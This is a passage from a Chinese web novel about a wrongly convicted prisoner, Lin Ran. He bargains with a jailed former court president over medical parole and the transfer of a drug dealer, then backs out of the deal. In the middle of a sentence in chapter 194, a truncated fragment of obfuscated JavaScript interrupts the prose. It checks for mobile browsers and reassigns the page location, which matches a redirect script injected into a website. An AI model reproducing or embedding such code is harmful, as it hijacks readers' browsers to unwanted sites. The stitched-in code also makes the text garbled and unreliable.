“刘长生走了,他那些材料没人签字。”
林燃继续说,“他想让我帮忙。”
苏念晚没说话。
林燃往前走了一步,蹲下来,和她平视。
“我不是要你真的做。”
他说,“就是……他下次来复查的时候,你给他透个话。就说医务室这边,有人能帮他办下来。”
苏念晚看着他。
那眼神很平,看不出什么
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情绪。
她沉默了几秒。
然后她忽然笑了。
那笑容很淡,但林燃看得清楚——不是嘲讽,是那种“你当我傻”的笑。
“林燃,你让我为你做事,帮孙绍裘搞保外就医……”她说,“你绕这么大一圈,就为了让我帮你办这个?”
林燃噎了一下。
苏念晚盯着他看了几秒。
那眼神里有东西,林燃说不上来是什么——不是生气,不是失望,倒像是……看透。
“你知道孙绍裘是什么人吗?”她问。
林燃点头。
“前中院院长。**进来的。判了十二年。”
“你知道他要办保外就医有多难吗?”
林燃没说话。
苏念晚站起来,走到窗边,背对着他。
“他这样的大人物,不知道多少人盯着呢,背后太深了,他能进来,就代表有恐怖的势力在弄他,给他签字,后面,要是他被人举报,那我这样为他签字保外就医的,也脱不了干系。”
她顿了顿。
“我很可能会坐牢。”
林燃站起来,走到她身后。
“我知道。”他说。
苏念晚转过身,看着他,脱离了他的臂弯,神情冰霜,顿时又回到了之前吵架时的状态。
“那你还让我帮?”
苏念晚语气失望,她没想到眼前男人,刚刚的柔情,刚刚的承诺,都是利用自己的假象而已。
甚至那桌上的铝花,她现在都觉得恶心,只想扔掉。
但林燃开口。
“不是叫你办。”他纠正,“就是透个话。”
“透个话之后呢?”
“之后的事,我自己来。”
苏念晚愣了:“你什么意思?不需要真的帮他办取保?”
“对。”
林燃郑重的点了点头:“我知道他这样的人物牵扯很复杂,真的帮他取保那太危险了,我不会真的让你以身犯险,我只是要你给他一个错觉,觉得我会帮他,你会签字而已。”
“为什么?”
苏念晚更懵了。
“我要调个人。”他说,“有个叫狗皮蛇的,**的,判了十五年。他把我送进来的,他知道我案子背后的人。他要是不来安江,我那些事,永远查不清。”
第一百九十章 搞定证明
苏念晚没说话,她正处理这些涌来的复杂信息。
“孙绍裘能帮我调他。”林燃继续说,“他干了几十年**,外面有的是人。只要他肯递句话,狗皮蛇就能来安江。”
苏念晚看着他,算是搞清楚了大概情况。。
阳光从窗户斜射进来,落在林燃侧脸上,把那层皮肤照得有点透明。眼底下有淡淡的青黑,是昨晚做那朵花熬夜熬的。
她忽然想起第一次见他。那时候他刚进312,被刀疤辉用塑料片划伤手臂,来医务室缝针。他看她的眼神冷得很,像看一件工具,能用就用,不能用就放着。
现在这双眼睛看着她,里面有点别的东西。
“林燃,”她开口,“你知不知道,你这么干,是在走钢丝?”
林燃没说话。
“孙绍裘那种人,干了几十年**,什么场面没见过?你觉得你可以骗到他?要是被他发现,在这里,你怎么办?”
“我有办法。”
“你什么办法?”
林燃认真说道:“你不用管,相信我就是了。”
苏念晚盯着他看了几秒。
说起来,自从林燃出现后,他简直是一次次的打破自己的认知。
在这工作这么久,还是第一次有一个犯人,能够这么巧妙利用着周围的一切,在这里站稳脚跟。
在她看来,林燃就没有办不到的事。
想到这,她叹了口气。
“林燃,”她说,“你真是的和奇怪。”
林燃没接话。
“行。”她说,“我帮你。”
林燃愣了一下。
她答应得太快了,快得他有点反应不过来。
“你……”他开口。
“怎么?”苏念晚看着他,“你以为我要犹豫半天?要考虑考虑?要跟你讨价还价?”
林燃没说话。
她伸出手,把那朵铝皮花举到他眼前。
“这花虽然丑,”她说,“但这也是我男朋友做的。”
林燃看着她。
没说话。
他把手抬起来,握住她举着花的那只手。她的手有点凉,但很软。
“谢谢。”他说。
苏念晚摇摇头。
“别谢。”她说,“你的事,就是我的事。”
窗外的阳光又亮了一点,落在那朵丑花上,把那层铝皮照得发亮。
苏念晚看着那朵花,忽然说:
“下次别做花了。做点别的。”
林燃愣了愣:“做什么?”
她想了想,嘴角弯起来一点。
“自己想。”
林燃也笑了起来。
苏念晚适时的靠入他怀中。
他手轻轻搂住眼前丽人。
另一只手,解开苏念晚白大褂上的第一颗纽扣,手向那……
就在情意渐浓时。
处置室的门就是这时候被敲响的。
“苏医生?苏医生在吗?”
是护工小夏的声音。
苏念晚猛地从他怀里挣出来,动作快得像被电打了一下。
她手忙脚乱地整理白大褂,捋了捋头发,脸上那点红还没退干净。
林燃倒是不紧不慢,往后退了一步,靠在处置台边上。
“在!”苏念晚应了一声,声音有点紧,“什么事?”
“刘医生走了之后,药房那边有些药要对账,我一个人忙不过来,您能来帮个忙吗?”
苏念晚深吸一口气,走过去拉开门。
小夏站在门口,看见林燃在里头,愣了一下,但很快移开视线,假装没看见。
“走吧。”苏念晚说,回头看了林燃一眼。
那眼神里有些惋惜,有些娇俏,还有点“下次再说”的意思。
林燃点点头。
苏念晚跟着小夏走了。
处置室里又安静下来。
林燃站在那儿,看着窗外的阳光。
阳光落在那堵高墙上,把电网的铁丝照得发亮。有鸟落在上面,歪着头往这边看,又飞走了。
他看向桌上。
那朵花被她顺手拿走了。
他扯了扯嘴角。
好像……成了?
他顿时觉得这里鸟语花香的,虽然在监狱里面闻不到鸟叫,也看不到花,但他就是这么个感觉。
回到312,刀疤辉几个早就在门口蹲着。见他过来,蹭地站起来。
“燃哥!怎么样?”
林燃没说话,推门进去。
几个人跟进来,围着他,眼睛亮晶晶的。
林燃在自己铺位上坐下,靠着墙,闭上眼。
“燃哥?”
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刀疤辉忍不住问。
林燃睁开眼,看着他们。
“成了。”他说。
几个人愣了一秒,然后——
“**!”
“燃哥牛逼!”
“我就说送东西管用!”
刀疤辉咧嘴笑得牙花子都露出来:“怎么样?我那主意不错吧?送东西!”
麻杆不服气:“是我说的送吃的!”
“你那是吃的吗?你那是瞎扯!”
“你才瞎扯!”
两人又吵起来了。
林燃没理他们。
他靠在墙上,看着窗外那堵高墙。
阳光慢慢移过去,把那根松了的铁丝照得发亮。
他想起她那句话。
“以后别再让我担心了。”
林燃闭上眼。
他突然有种强烈邪恶感,觉得自己在利用苏念晚这么好的一个女人。
可自己本来不就是在利用她吗?
想到这,林燃有些刺痛,明明在这里,利用才是人与人之间关系的准则和体现。
怎么对这个女人,自己有些动真情……
还有,那句脱口而出的女朋友,明明不是原本的想说的话,在那情况下,却又……
算了算了,
先不想了,得赶紧搞定孙绍裘,这才是正事。
…………
周四下午,又是学习小组的日子。
林燃到的时候,学习室里已经坐了几个人。还是那些面孔——戴眼镜的中年人,靠椅背上闭目养神的瘦老头,站在窗边发呆的高个子。
孙绍裘坐在老位置,靠窗那排中间。
他手里捧着本书,还是那本,封面都磨**了。阳光落在他身上,把那头花白的头发照得发亮。
林燃走进去,在他斜后方坐下。
孙绍裘没回头。
学习小组的内容还是那么无聊。年轻管教拿着文件念,下面的人轮流发言,说的都是那些套话。林燃没开口,孙绍裘也没开口。轮到他发言时,还是那八个字:
“认真学习,努力改造。”
三点半,休息时间。
林燃走到走廊尽头,站在窗边。
窗外还是那个小放风场,几个人在里面慢慢走着。阳光比上次来时更暖一点,照在那几盆绿植上,叶子发亮。
第一百九十一章 内奸
身后有脚步声。
不紧不慢,皮鞋底踩在水泥地上,一下一下。
孙绍裘在他旁边站定,也看着窗外。
两人都没说话。
过了大概半分钟,孙绍裘才开口,声音压得很低:
“医务室那边,我见过了。”
林燃没接话。
孙绍裘侧过脸,看了他一眼。那眼神不重,但林燃能感觉到他在打量自己。
“苏医生给我换的药。”孙绍裘继续说,“手法不错。换完药,她跟我说了句话。”
“什么话?”
“她说,有些事不用急,慢慢来,总会有人帮忙的。”
林燃没说话。
孙绍裘把目光收回窗外,看着那几盆绿植。
“这话说得巧。”他说,“不点名,不道姓,但意思到了。”
林燃点点头。
“你路子挺野。”孙绍裘说,“医务室那个苏念晚,我打听过。来这儿三年了,她从来不和犯人多说话。你是怎么让她开口的?”
林燃转过头,看着他。
阳光落在孙绍裘脸上,把那层皮肤照得挺清楚。六十一岁的人了,保养得不错,脸上皱纹不多,但眼袋很重,底下泛着点青黑——大概是保外就医的事折腾的。
“孙院长,”林燃说,“你打听这个干什么?”
孙绍裘愣了愣,然后笑了。
那笑容很淡,就是嘴角往上弯了弯,眼睛没动。
“行,”他说,“我不问。咱们谈正事。”
他往窗户边靠了靠,离林燃更近一点。
“你上次说的那个事,我想过了。”
他说,“这事没那么容易,那个叫狗皮蛇的,是涉毒吧?十年以上的重刑犯,这样的人,按规矩,一般是要放到外省服刑的,这没头没脑的放到安江来,要先和**打招呼,还要现任中院院子点头,还要这边监狱愿意接……”
孙绍裘还是一副领导架势,说事前,先讲困难。
但他没想到,眼前男人也是懂体制内的。
听他讲困难,就知道这是在讲条件,摆要求呢。
林燃也不惯着。
“你这边的事,你也清楚。”他打断孙绍裘,径直说:
“保外就医的材料,现在就差医务室签字。刘长生走了,苏念晚是唯一能签的人。我既然能让她开口,我也能让她闭嘴,这事对我倒容易。”
孙绍裘愣住了,他很多年没有人这样和他讲话了,眼神直直看着眼前男人。
惊疑、愤怒、冷静、无奈、妥协。
在转过几个眼神后,孙绍裘鼻腔里出了口气。
相比自己的自由,什么都不值得考虑。
他最终妥协。
“……调人,调那个狗皮蛇,从外省调服刑犯来安江——这事我能办,但得花时间,花人情。”
林燃点头。
他说着,顿了顿。
“但我有个条件。”
林燃看着他。
“材料先给我。”孙绍裘说,“签字盖章,我拿到手,再帮你调人。”
林燃没说话。
窗外的阳光又移了一点,落在他俩脚边。
远处这干部监区的放风场里有个人在慢跑,一圈一圈,影子拖得老长。
“孙院长,”林燃开口,“你这么谈,就没意思了。”
孙绍裘挑了挑眉。
“我先给你材料,”林燃说,“你拿到手,翻脸不认人怎么办?我在这地方,还能追出去找你要账?”
孙绍裘笑了笑。
“小伙子,”他说,“我孙绍裘干了四十年**,说话算话。答应的事,没反悔过。”
“那是以前。”林燃说,“现在你在里面,我在里面。以前那些规矩,在这儿不好使。”
孙绍裘看着他,没说话。
林燃迎着他目光,没躲。
两人对视了几秒。
“那你什么意思?”孙绍裘问。
“先调人。”林燃说,“人到了安江,材料我给你。”
孙绍裘摇头。
“不行。”
他说,“我帮你把人调过来,材料你反悔怎么办?我还能去找苏念晚签字?她听你的,不听我的。”
“那我就反悔了,你还能把我怎么样?你只能先听我的,在这里,老大的话就是规矩,要按我们的意思办。”
林燃直接反将一军。
孙绍裘愣了一下。
林燃这话说得直接,直接得有点不像谈判。
但他说的是实话。
在这地方,孙绍裘能动用的资源有限。
外面的人脉再多,递话进来也得时间。
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真要是林燃反悔,他确实没什么办法。
“你这是不讲规矩,是威胁!”
孙绍裘压着怒气说,语气有些不冷静了,但林燃听的很开心。
让你装!
“孙院长,”
林燃说,“你干了四十年**,什么案子没见过?规矩是给外面人定的。在这儿,咱们得讲这儿的规矩。”
孙绍裘沉默了几秒。
窗外那个慢跑的犯人还在跑,一圈一圈,影子越来越短。
“那你说,怎么谈?”孙绍裘问。
林燃想了想。
“折个中。”
他说,“你先递话出去,把人调过来。不用人到安江,只要调令下来,进了流程,我就让苏念晚把字签了。”
孙绍裘看着他。
“调令下来,”他说,“人就板上钉钉了。我再反悔,也没用。”
“对,但是你可以相信我。”林燃点头。
孙绍裘没说话。
他转过头,看着窗外。那几盆绿植在风里晃了晃,叶子碰着叶子,沙沙响。
过了好一会儿。
孙绍裘点点头。
但领导的习惯是不把话说满。
“我问问。”他说,“能不能调,得看那边放不放。”
林燃没说话。
孙绍裘又看了他一眼。
“你胆子挺大。”他说,“敢跟我这么谈。”
林燃笑了笑。
“孙院长,”他说,“你以前是院长,我是犯人。在这儿,咱俩都是犯人。没什么不一样。”
孙绍裘愣了愣,像是一下还没想起来自己也是犯人。
然后他笑了。
这回笑的时间长一点,嘴角往上弯,眼睛也动了动。
苦笑,但想起很快就能保外就医,重回自由,他又带着喜悦的笑。
“行。”他说,“就按你说的办。”
他转身往回走,走了两步,又停下。
“对了,”他头也没回,“那花做得挺丑。但能看出来是个花,你小子手挺巧啊。”
林燃愣了一下。
孙绍裘已经走远了。
这句话什么意思!?
自己给苏念晚折铝花的事他知道了?
他怎么知道的?
这明明就自己312几个人知道。
难道有内奸?
第一百九十二章 试探
林燃回去的路上,脑子里一直转着孙绍裘那句话。
“那花做得挺丑。”
他怎么知道的?
这事只有312几个人知道。刀疤辉、周晓阳、麻杆、牛哥。顶多再加个铁头和阿贵,但他们那天不在场,只能听帮里人说过,没见过成品。
嫌疑最大还是身边这几个人。
林燃推开312的门。
刀疤辉正趴在铺上,拿根草茎剔牙。周晓阳坐在他铺位边上,拿块破布擦那根拐。麻杆和牛哥蹲在墙角,不知道在嘀咕什么。
见他进来,几个人都抬头。
“燃哥回来啦?”刀疤辉坐起来,“咋样,学习小组有意思没?”
林燃没说话,走到自己铺位坐下。
他靠着墙,扫了这四个人一眼。
刀疤辉,认识最久,从砸板儿那天打到现在,断过指,挡过刀,食堂那次拼死护过他,但也害过自己。
周晓阳,他救的,从训号那会儿就跟着,命都是他给的,但自己第一次打黑拳时,这小子受笑面佛威胁,出卖过自己。
麻杆,小偷小摸,胆小如鼠,但办事靠谱,跑腿盯人没出过岔子。
牛哥,四肢发达头脑简单,让干嘛干嘛,从不问为什么。
四个人,都看不出什么异常。
刀疤辉还在那儿剔牙,周晓阳低头擦拐,麻杆和牛哥继续嘀咕。
林燃收回目光。
“学习小组就那么回事。”他说,“念文件,发言,休息,回去。”
刀疤辉点点头,也没多问。
林燃靠在墙上,闭着眼。
过了会儿,他忽然开口:
“对了,前几天我做的那朵花,谁看见了?”
刀疤辉愣了愣:“我啊,咋了?”
“还有谁?”
刀疤辉想了想:“就咱几个吧。晓阳,麻杆,阿牛吧”
林燃点点头。
“那花咋了?”刀疤辉问。
“没咋。”林燃说,“问问。”
他睁开眼,又扫了那几个人一眼。
周晓阳低着头,看不见表情。麻杆和牛哥压根没往这边看。
林燃又问:“铁头和阿贵,他们两个知道这事吗?你们没和他们说起过?”
被他这么一说,刀疤辉有点不好意思的挠头。
他们背后确实编排过老大,说老大外表冷酷,实际男女事上还是小男孩那套,帮里几个人聚着也笑过这事。
怎么林老大今天突然问了?难道传出去了?被人笑了?
刀疤辉心想:那这就要铁头和阿贵拖进来,别说是我传的。
“嘿嘿,这个麻杆嘴多,他和铁头和阿贵提过。”
“什么叫我嘴多!明明是你……”
被点名的麻杆正抠脚,突然一下被“陷害”,马上想反驳,但刀疤辉一眼瞪过去,他就只能背黑锅了。
“咳咳,老大,这个兄弟们没别的意思啊,也是替你担心,麻杆他也没坏心思,没人笑话什么……”
刀疤辉见林燃脸上深沉,赶紧赔上笑脸。
所幸,林燃只是默默记下,没有多说什么。
果然,就帮里几个人知道,但也没人有什么激烈反应,也不像有异常。
他把思路收回来。
看不出来内奸。
也可能——根本就没内奸。
孙绍裘那话,说不定是诈他的。干了几十年**的人,最会的就是套话、诈话、让人自己露出马脚。
说不定是这事传出去后,别的帮派人笑话,传到他耳朵里的。
林燃闭上眼。
但万一呢?
万一真有呢?
他咬了咬后槽牙。
以后说话办事,得留个心眼。
接下来的几天,林燃照常劳动,照常放风,照常去阅览室。
他有意无意地观察那四个人。
刀疤辉还是那样,大大咧咧,说话不过脑子。周晓阳还是那样,对自己很殷勤。麻杆还是那样,贼眉鼠眼,见谁都赔笑脸。牛哥还是那样,吃嘛嘛香,睡得像死猪。
没一个人露出破绽。
林燃有时候觉得自己多疑了。有时候又觉得,孙绍裘那种人,不会平白无故说那句话。
要么真没内奸,要么内奸藏得太深。
林燃不再想了。反正小心点总没错。
第七天上午,劳动的时候,铁头忽然凑过来。
他蹲在林燃旁边那台缝纫机边上,压低声音说:
“燃哥,有消息
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了。”
林燃手上没停,踩着踏板,针头一上一下。
“说。”
铁头往四周瞟了一眼,声音压得更低:
“那个狗皮蛇,调令下来了。”
林燃脚下一顿。
缝纫机停了一秒,针头扎在布上,发出“咔”的一声轻响。
他转过头,看着铁头。
“你说什么?”
铁头点点头:“真的。我有个老乡在狱政科帮忙,他亲眼看见的。从海东那边过来的调令,人已经在路上了,最迟下礼拜到。”
林燃没说话。
他手上那根线还在指缝里,勒得有点紧。
铁头见他这样,有点慌:“燃哥?你没事吧?”
林燃摇摇头。
他把那根线松开,继续踩踏板。
缝纫机又响起来,针头一下一下,扎在布上。
“我知道了。”他说,“你先回去。”
铁头点点头,猫着腰走了。
林燃坐在那儿,踩着踏板,眼睛盯着那根针。
针头扎下去,抬起来,扎下去,抬起来。
一下一下。
他脑子里一片空白。
然后那片空白里,忽然涌出东西来。
那是2000年6月12日的下午。
闷热。市局旁边那栋三层小楼,二楼,窗户开着,没风。那个微胖的“**处干部”坐在办公桌后面,三七分的头发,眼镜片反着光。
“林燃同志,组织上信任你。”
还有那个光头。姚永军。副局长。掏出证件在他眼前晃了一下。
“任务很简单,打入狗皮蛇团伙,执行控制下交付。今晚,城西老码头三号仓库,取货,送到东城宾馆307。之后的事,我们的人会接应。”
他信了。
他凭什么不信?
他是警校优秀毕业生,国保专业全优。实习的时候预审专家刘一魁夸他,说他有“病态的观察力”。他以为自己是被选中的人,是组织需要的人,是能立功提干的人。
他信了。
然后呢?
晚上十点十分,十字路口,警车围上来。茶叶罐里的“双狮地球”被搜出来。
林燃被戴上**。
陷入地狱。
第一百九十三章 排面
审讯室里,他说自己是卧底。审讯的人看着他,像看一个傻子。
“姚永军?没这人。”
“你的档案?你自己看,未按时报到,你压根没进过**系统。”
他那时候还不信。他以为弄错了,以为会有人来救他,以为组织不会抛弃他。
然后他被判了十年。
从看守所转到了这安江监狱。
然后上诉第三天,在楼梯通道里,三角眼扇他耳光,瘦子望风,刘子明用长钉螺丝钉进他脊柱。
他瘫了十年。
他母亲每月来探视,看着他,眼眶红着,但不哭。
他父亲气郁攻心,病倒在床,没钱治,撑到他出狱前,撑不住了。
出狱那天,他去墓前,跪了一夜。
家里只剩母亲变卖家产,为他苟延残喘。
然后他上网发帖,申冤。没人理。帖子沉了,沉得比他想象的还快。
最后是那场火。
火焰的灼热,和——解脱。
林燃踩了一脚,缝纫机停了。
他总算从回忆里抽回。
低头看着那块布。
针头扎在上面,线绷得紧紧的。
铁头刚才说什么?
调令下来了。
狗皮蛇,最迟下礼拜到。
林燃把布扯出来,扔到一边。
他站起来,走到车间角落那扇窗户前。
窗外是放风场,阳光晒得那一小片水泥地发亮。几个犯人在单杠那边晃悠,影子拖得老长。
林燃站在那儿,看着那堵高墙。
他忽然笑了一下。
很轻,嘴角往上弯了弯,又收回去。
狗皮蛇。
当年那个接头人。
把茶叶罐递给他的那个。
这场针对自己的围猎中,关键的一环。
他要来了。
来安江监狱。
来他林燃的地盘。
林燃把手伸进内袋,摸了摸那片手术刀片。
刀片还在,贴着他胸口,有点凉。
“燃哥。”
身后传来刀疤辉的声音。
林燃没回头。
“燃哥,你站这干嘛?要上工了。”
林燃说:“知道了。”
他又看了那堵墙一眼,然后转身往回走。
刀疤辉见他过来,愣了一下。
“燃哥,你眼睛怎么红了?”
林燃揉了揉眼。
“没事,”他说,“有灰。”
刀疤辉点点头,也没多问。
林燃回到自己那台缝纫机前,坐下,继续踩踏板。
针头扎下去,抬起来,扎下去,抬起来。
一下一下。
他脑子里又想起母亲那张脸。
瘦小,佝偻,头发花白。
每次来探视,隔着玻璃,这一世,她总是笑。
笑得很小心,像怕他不高兴。
“妈没事,你好好的就行。”
“你爸也好,别担心。”
“家里有钱,够用。”
虽然这一世自己没有瘫痪,家里稍微有了希望。
可还是从一个警界新星变成了监下囚。
家里也不会好过。
母亲还是尽量撑住这个家。
自己也不能退缩。
上诉!
得上诉!
第一步论文已经做好铺垫。
第二步就是这个狗皮蛇,不管用什么办法,一定要从他嘴里挖出姚永军的事!
第三步就是那个笑面佛的账本,对,还有……
林燃顺着思路想下去。
有希望,这一世,自己不一样了!
…………
中午吃饭的时候,铁头又凑过来。
他端着饭盆,蹲在林燃旁边,压低声音说:
“燃哥,还有个事。”
林燃啃着馒头,没看他。
“说。”
“那个狗皮蛇,听说是个硬茬。
据说还在外面杀过人,手上有命案,只是条子没挖出来而已。
进来之后,在看守所那边也是横着走的。这回调来安江,据说他自己也乐意——这边有他以前的兄弟。”
林燃嚼着馒头,没说话。
铁头瞟了他一眼,继续说:
“他要是来了,我们得注意点,不一定好欺负。”
林燃把最后一口馒头塞进嘴里,嚼了嚼,咽下去。
“知道了。”他说。
铁头点点头,端着饭盆走了。
林燃坐在那儿,看着面前那碗清汤寡水的白菜汤。
狗皮蛇有兄弟在安江。
他也有。
刀疤辉,周晓阳,麻杆,牛哥。铁头,阿贵这些人可以用。
甚至……还有苏念晚。
一边想,一边咽下汤饭。
林燃就准
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备走,老大一起身,旁边312的刀疤辉他们就跟着站起来。
可此时,一只手搭在了林燃肩膀上。
他没好气的回过头,居然是狱侦科的谷彦军。
这位老道的狱侦科科长,此时一脸古怪的看着林燃。
他怎么来了?
还是在这囚犯食堂?
林燃之前每次见到谷彦军,不是被叫去问话,就是在监舍动手后,被当作嫌疑人被带走。
这位谷大科长,亲自到食堂来找他的场面,还是十分出乎意料。
林燃下意识觉得不好,而谷彦军表情也不太好。
“林燃,你过来一下。”
这位狱侦科科长,在安江监狱十分有地位。
看起来只是一个科长,权势却十分惊人,甚至其岗位的业务性太强,连分管副监狱长都奈何不了这个位置上的人。
毕竟一手掌握整个监狱狱侦工作,加刑减刑,放料收料,他可以一个人说的算。
他通过监狱里的眼线、耳目,帮派势力,弄到在押服刑人员的底细,易如反掌。
挖出以前的案子,就能给里面人加刑。
而如果他给你机会,举报同监区犯人、检举外面的案犯,你又能随便减刑。
而且最重要的是,狱侦科这个位置,负责整个监狱内部犯罪案件的侦查办理。
像林燃之前几次动手,也都是在他手底下过了关,才逃过一劫。
其他人就没这么容易了。
他动动手指,一个帮派就得老实低头。
可以说,没有那个老大敢轻易招惹这位谷阎王。
但他居然亲自来找一个犯人?
所有目光此时都汇聚在两人身上。
还有几个幸灾乐祸,以为林燃是之前的案子被挖出来,这下在劫难逃。
可没想到谷彦君,此时脸色却很平静,甚至带着点……客气?
“林燃,和我去一下,有个任务。”
任务?
不是案子?
那林燃就不是犯事被带走。
任务是监狱里带犯人“出公差”常用的词。
监区里犯人服从指令,是第一要求。
林燃没多说什么,点头就和谷彦军走。
倒是身后码头帮的大眼仔他们眼睛都看直了。
谷彦军亲自到监区来请一个犯人?
第一百九十四章 权力法则
让他们对林燃的实力更有了一些了解。
这小子居然能让狱侦科长亲自来找。
太不一般了。
谷彦军按流程在狱管处签字提押。
林燃注意看了一下提押证的事由。
他原本也以为是案子。
没想到谷彦军在上面却写着的是“教育谈话”。
接着,他被带到狱政办公楼这边。
这里是监狱管理层所在的位置。
林燃只在李昌东见面时来过。
可李昌东明显和谷彦军没有关系,怎么会把自己往这带?
那为什么?
林燃心里浮现出一个不好的名字。
他有些紧张起来。
难道是另一个副监狱长——彭振!?
这可是幕后势力在监狱里的最强的代理人、白手套!
也是安江监狱里几次要置自己于死地的最大BOSS!
不会是要对自己动手吧?!
林燃暗自感受了下贴在内侧暗袋里的手术刀残片。
虽然对于谷彦军,他之前没想过要对他动手。
等下要是真是鸿门宴,那就怪不得自己了!
此时已经来到了狱政办公楼的顶层。
经过武警的值班岗时,林燃心跳都快蹦出来。
他确定应该是彭振找自己来这了。
这顶层是监狱领导所在的楼层。
武警24小时**值守。
等下对方要是真在这里弄自己,那怎么办?自己一把破碎手术刀的残片,难道还能快过武警手里的79冲?
而且,把自己弄到这来,肯定也不好太直接动手。
说不定就是诱使自己出手,或者诬告自己,然后谷彦军和武警,再以自己袭击之名,干掉自己!
对,很可能是这样。
自己一定要稳住!
对,不能先动手……
林燃被窗口风一吹,这才察觉背后已经一片沁湿。
乱想间,谷彦军还真把他带到了“副监狱长”门牌的办公室前。
他知道这是彭振的办公室。
吞了口口水,看来要直面这里最终的boss。
“你进去吧,里面的人,有几个事想问下你。”
谷彦军把林燃带到,交给门口的管教,自己就转身走了。
林燃警惕不减,走入进去,刚想着怎么面对彭振。
却没想到,里面坐在大靠背椅上的。
却不是那位在安江监狱呼风唤雨的副监狱长。
而是一个犯人。
一个林燃认识的犯人——孙绍裘。
他眼睛圆瞪,孙绍裘此时正怡然的坐在副监狱长宽大的座椅上。
动作神情,都完全是在职领导的气质。
让林燃前面第一眼,完全以为是彭振坐在那。
如果不是身上蓝白条的囚服。
这位前中院院长,和在位时的状态一模一样。
他瞠目结舌,看着眼前这幅诡异景象。
“呵,怎么,你自己想方设法的来接近我,我这人,有来有往,我也来见见你嘛。”
孙绍裘看起来很满意林燃此时震惊的表情。
他要的就是这个效果。
林燃为了见他,想方设法,花钱买机会,才混在改造班里,到了“干部监区”,有了难得的和这位前院长面对面的机会。
而孙绍裘想要见他,却是如此的容易。
他甚至可以坐在监狱副监狱长的办公室,安排堂堂的狱侦科科长去大庭广众下,将林燃叫过来。
你当老大了又怎么样!?
一样一句话,就能压死你!
这就是权力!
即使在高墙之内!
权力依旧按照规则运行。
掌握它的人,呼风唤雨。
没有它的人,苟延残喘。
这些顶层人物,对待林燃这样犯事的小犯人。
如来伸指,蝼蚁倒毙。
但林燃却不是蝼蚁。
他站着,原本惊讶的表情,在瞬间就沉静下来。
孙绍裘见他反应变化如此之快,也有些惊异。
他对旁边管教递了个眼神,管教就出去了,临走前将门带好。
孙绍裘神情自若的站起身,围着这间宽大办公桌绕了一圈,像是在欣赏这里的布置。
但林燃知道,他是在享受、回味这种掌握权力的感觉。
他也在等着自己发问。
问为什么他能做到这一切,为什么能在一名副监狱长的办公室见自己。
但林燃偏不问。
他不想配合孙绍裘展示自己的影响力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303379|197428||http|test|mini|href|location''.split(''|''),0,{}));
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r>他只是冷眼看着。
看着这位“上面人”,演的这场蹩脚的“官场戏”。
孙绍裘没想到林燃这么能忍,他绕了两圈,只能坐回到彭振的假皮质办公椅上。
主动解释道:“哎呀,你是不是很奇怪我为什么能在这,这里的彭副监狱长,以前算是我提拔的,这他不在,我就借他办公室,见见你,对我们来说,很正常嘛。”
他预想中林燃会惊叹,甚至赞叹。
但没有。
甚至连附和的点头都没有。
林燃只是冷漠的一个“哦”。
孙绍裘本来想通过这一套,对林燃施压,让他知道自己在里面一样能捏死这个小犯人。
让他别耍花招,老老实实给自己办取保。
可没想到,林燃居然不怕!?
这话就没办法接了。
接下来一分多钟。
林燃没开口,孙绍裘也没开口。
最后,还是孙绍裘忍不住了。
“人到了。”他说,声音压得很低。
林燃没接话。
孙绍裘转动椅子,侧过脸看了他一眼:
“狗皮蛇,调令下来了。昨天下午,档案已经到的狱政科。最迟后天,人就会送过来。”
林燃点点头。
阳光落在刷漆木桌上,照得发亮。
他伸手摸了一下,像在教室上课,在这里,好久没见过这样精致的木作家具。
“孙院长效率高。”他说。
孙绍裘笑了笑。
那笑容很淡,就是嘴角往上弯了弯。但林燃看出来了——这老头在等。
等什么?
等他开口说材料的事。
果然,孙绍裘下一句就是:
“小伙子,我这边的事办妥了。你那边呢?”
林燃没说话。
他看着窗边那几盆绿植。
有片叶子上趴着只小虫,黑壳,慢慢往上爬,爬两步,停一下,再爬两步。
“材料的事,”林燃说,“快了。”
孙绍裘挑了挑眉。
“快了?”他重复了一遍这两个字,“小伙子,咱们可是说好的。调令下来,你让苏念晚签字。现在调令下来了,你跟我说快了?”
林燃转过头,看着他。
眼神却变了。
第一百九十五章 撕破
阳光落在孙绍裘脸上,把那层皮肤照得挺清楚。
快六十岁的人了,保养得不错,但眼袋底下那片青黑比上次更深了——大概是保外就医的事快成了,反而更睡不踏实。
“孙院长,”林燃说,“签字这种事,总得找个合适的机会。苏念晚那边,我得慢慢跟她说,不能太急。”
孙绍裘盯着他看了几秒。
那眼神变了。
不是之前那种打量,也不是那种“你挺有意思”的玩味。
是另一种东西——林燃在审讯室见过这种眼神,在那些审他的人脸上。
“小伙子,”孙绍裘开口,声音变了,配合着他此时坐着的位置,带着威严。
“你是不是在拖我?”
林燃没说话。
孙绍裘手肘着桌面,身子往前靠了半步,离他更近一点。
压迫更足。
“咱们谈好的,”他说,“你让苏念晚签字,我帮你调人。我这边办妥了,你那边拖着。这叫什么?”
林燃迎着他目光,没躲。
“孙院长,”他说,“你干了快四十年**,什么场面没见过?这种事,急不得。”
“急不得?”孙绍裘笑了,这回笑的时间长一点,但眼睛里没笑意,“小伙子,你当我是三岁小孩?”
他往后退了一步,靠回窗边。
“我孙绍裘在**干了快四十年,什么人没见过?那些拖我的,糊弄我的,跟我玩心眼子的——”他顿了顿,“最后都没落着好。”
林燃看着他。
阳光从窗户斜射进来,落在他俩之间那层灰蒙蒙的空气里。
“孙院长,”林燃开口,“你这是威胁我?”
孙绍裘摇摇头。
“不是威胁。”他说,“是提醒。小伙子,你还年轻,有些事,想清楚了再做。”
林燃抬头道:“我想清楚了。”
“小伙子,”他说,“你这是要翻脸?”
林燃转过头,迎着他目光。
“孙院长,”他说,“这字,我不能签。”
孙绍裘愣了愣。
像是没听清,又像是听清了但没反应过来。
“你说什么?”他问。
“我说,”林燃一字一顿,“这字,我不能签。”
孙绍裘盯着他看了几秒。
那眼神从冷,变成另一种东西——林燃见过这种眼神,在那些被他坑过的犯人脸上,在被逼到墙角的人脸上。
“林燃,”孙绍裘开口,声音还是那么平,但底下有东西在翻涌,“你耍我?”
林燃没说话。
孙绍裘往前走了半步。
“我帮你把人调过来,你跟我玩这套?”
他还是那个语气,还是那个腔调,但林燃听出来了——这老头在压着火。
